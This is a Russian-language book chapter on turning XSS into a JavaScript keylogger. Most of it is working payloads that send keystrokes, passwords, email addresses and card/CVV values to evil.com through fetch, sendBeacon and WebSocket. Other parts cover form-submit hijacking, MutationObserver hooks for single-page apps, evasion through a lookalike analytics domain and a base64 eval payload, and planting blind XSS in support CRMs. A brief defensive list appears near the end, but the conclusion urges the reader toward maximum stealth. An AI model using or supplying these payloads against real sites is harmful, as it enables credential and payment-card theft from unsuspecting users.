Книга: «Все об уязвимости XSS». Глава 7. Эксплуатация XSS - Время красть cookie 🍪 • Keylogging через JavaScript

Cookie можно защитить флагом HttpOnly. Session можно привязать к fingerprint устройства. Но от кейлоггера защититься почти невозможно - если атакующий контролирует JavaScript на странице, он видит каждую букву, которую жертва набирает, включая пароли, номера карт и секретные ответы на вопросы восстановления. Это следующий уровень эксплуатации XSS: не воровать то, что сервер уже выдал, а перехватывать данные прямо в момент их создания, до того как они куда-либо отправятся.

Почему keylogging через XSS особенно опасен

Обычный кейлоггер - это malware, которое нужно установить на компьютер жертвы. XSS-кейлоггер работает без установки чего-либо: код живёт прямо в браузере жертвы, в контексте доверенного сайта, и активен ровно столько, сколько открыта страница с payload'ом .

Ключевое отличие от cookie grabbing: даже если сайт использует токены в LocalStorage без уязвимостей, даже если MFA настроен идеально - если ты перехватываешь пароль в момент ввода, тебе не нужен ни один из этих механизмов. Ты получаешь credentials в чистом виде, для повторного использования когда угодно.

Базовый keylogger через onkeydown

Самый простой способ отследить нажатия клавиш - обработчик событий на уровне всего документа.

document.onkeydown = function(e) {
fetch('https://evil.com/log?key=' + encodeURIComponent(e.key));
};

Полный payload для инъекции:

<img src=x onerror="document.onkeydown=function(e){fetch('https://evil.com/log?key='+e.key)}">

onkeydown предпочтительнее устаревшего onkeypress, так как перехватывает абсолютно все нажатия, включая служебные клавиши (Backspace, Delete, стрелки).

Продвинутый кейлоггер с буферизацией

Отправлять запрос на каждое нажатие - шумно и заметно в Network tab жертвы. Правильный подход - буферизация с периодической отправкой.

<script>
var buffer = '';
document.addEventListener('keydown', function(e) {
buffer += e.key;
if (buffer.length > 50) sendData();
});
function sendData() {
if (buffer.length > 0) {
fetch('https://evil.com/log', {
method: 'POST',
body: JSON.stringify({data: buffer, url: location.href, timestamp: new Date().toISOString()})
});
buffer = '';
}
}
setInterval(sendData, 5000);
</script>

Эта версия копит нажатия и отправляет их либо при накоплении 50 символов, либо каждые 5 секунд, включая URL и timestamp для контекста - критично, если жертва переходит между разными формами.

Точечный перехват конкретных полей

Массовый кейлоггинг всего документа даёт много шума. Профессиональный подход - целиться в конкретные поля, связанные с паролями и платёжными данными.

document.querySelectorAll('input[type="password"], input[type="email"], input[name*="card"], input[name*="cvv"]').forEach(function(field) {
field.addEventListener('input', function(e) {
fetch('https://evil.com/log', {
method: 'POST',
body: JSON.stringify({field: e.target.name || e.target.id, value: e.target.value, page: location.href})
});
});
});

Этот payload слушает событие input, которое срабатывает при каждом изменении значения, и отправляет не отдельные клавиши, а полное текущее значение поля целиком.

Динамическое отслеживание новых полей

Если форма создаётся динамически (SPA на React/Vue), стартовый querySelectorAll её не найдёт. Решение - MutationObserver:

function attachLoggers() {
document.querySelectorAll('input[type="password"], input[type="email"]').forEach(function(field) {
if (!field.dataset.logged) {
field.dataset.logged = 'true';
field.addEventListener('input', function(e) {
fetch('https://evil.com/log?f=' + e.target.name + '&v=' + encodeURIComponent(e.target.value));
});
}
});
}
var observer = new MutationObserver(attachLoggers);
observer.observe(document.body, {childList: true, subtree: true});
attachLoggers();

MutationObserver следит за изменениями DOM и автоматически цепляет обработчики к новым полям, появляющимся динамически.

Перехват через события формы

Вместо непрерывного отслеживания каждого нажатия, можно перехватывать данные ровно в момент отправки формы:

document.querySelectorAll('form').forEach(function(form) {
form.addEventListener('submit', function(e) {
var formData = new FormData(form);
var data = {};
for (var pair of formData.entries()) data[pair[0]] = pair[1];
fetch('https://evil.com/log', {method: 'POST', body: JSON.stringify(data)});
}, true);
});

Флаг true (capture phase) гарантирует, что listener сработает раньше оригинального submit-хендлера сайта, так что даже при мгновенном редиректе данные уже улетели.

Обход детекции

Прямые вызовы fetch() к незнакомому домену легко ловятся мониторингом. Применяй техники обфускации из главы 6 .

Маскировка домена:

fetch('https://cdn-analytics.io/collect?d=' + btoa(buffer));

Base64-кодирование payload'а:

<img src=x onerror="eval(atob('ZG9jdW1lbnQub25rZXlkb3duPWZ1bmN0aW9uKGUpe2ZldGNoKCdodHRwczovL2V2aWwuY29tL2xvZz9rPScrZS5rZXkpfQ=='))">

WebSocket вместо HTTP:

var ws = new WebSocket('wss://evil.com/ws');
document.onkeydown = function(e) {
if (ws.readyState === 1) ws.send(e.key);
};

WebSocket-соединения реже мониторятся стандартными security-инструментами и не создают отдельную запись на каждое нажатие.

Кейлоггинг с контекстом

Голые нажатия без контекста бесполезны - непонятно, что именно набирала жертва:

var buffer = '';
document.addEventListener('keydown', function(e) { buffer += e.key; });
setInterval(function() {
if (buffer.length > 0) {
fetch('https://evil.com/log', {
method: 'POST',
body: JSON.stringify({
keys: buffer,
activeField: document.activeElement.name || document.activeElement.id || 'unknown',
pageTitle: document.title,
url: location.href
})
});
buffer = '';
}
}, 3000);

document.activeElement показывает, какое поле было в фокусе в момент отправки - критично для сопоставления, была ли строка цифр номером карты или CVV.

Form Hijacking через navigator.sendBeacon

Самая опасная разновидность - перехват формы без изменения визуала, чтобы жертва ничего не заметила:

var originalSubmit = HTMLFormElement.prototype.submit;
HTMLFormElement.prototype.submit = function() {
var formData = new FormData(this);
var data = {};
for (var pair of formData.entries()) data[pair[0]] = pair[1];
navigator.sendBeacon('https://evil.com/log', JSON.stringify(data));
originalSubmit.call(this);
};

navigator.sendBeacon() - специальный API, спроектированный для отправки данных без блокировки перехода на другую страницу. Он гарантированно доставит данные, даже если форма немедленно редиректит пользователя - идеально для перехвата login-форм.

Практический кейс: Blind XSS с кейлоггером

Комбинируя техники Blind XSS из предыдущих разделов , полноценный кейлоггер, засланный в форму обратной связи, остаётся активным всё время, пока сотрудник поддержки просматривает тикет во внутренней CRM -перехватывая всё, что он набирает на этой странице, включая внутренние заметки и, возможно, свои же учётные данные при переключении между вкладками админки.

Защита от JavaScript-кейлоггеров

Для разработчиков:

  • Content Security Policy с чётким connect-src, блокирующим запросы на посторонние домены
  • Использование autocomplete="off" и изоляция чувствительных полей в iframe с отдельным origin
  • Мониторинг аномального сетевого трафика на клиенте через Reporting API
  • Регулярный аудит на XSS - единственная реальная защита, так как кейлоггер работает только там, где уже есть инъекция

Важно понимать: ни один патч на уровне cookie-флагов не спасёт от кейлоггера. Это самостоятельная угроза, которая существует независимо от того, как защищена сессия.

Заключение

Keylogging через JavaScript - это точка, где XSS перестаёт быть уязвимостью веб-сайта и становится полноценным инструментом слежки за человеком. Ты не крадёшь токен, который можно инвалидировать - ты крадёшь сами секреты, введённые руками жертвы, и эти секреты остаются рабочими даже после того, как XSS давно пофиксили. Комбинируй буферизацию, точечное таргетирование полей и WebSocket-доставку для максимальной незаметности.

20 views·8 shares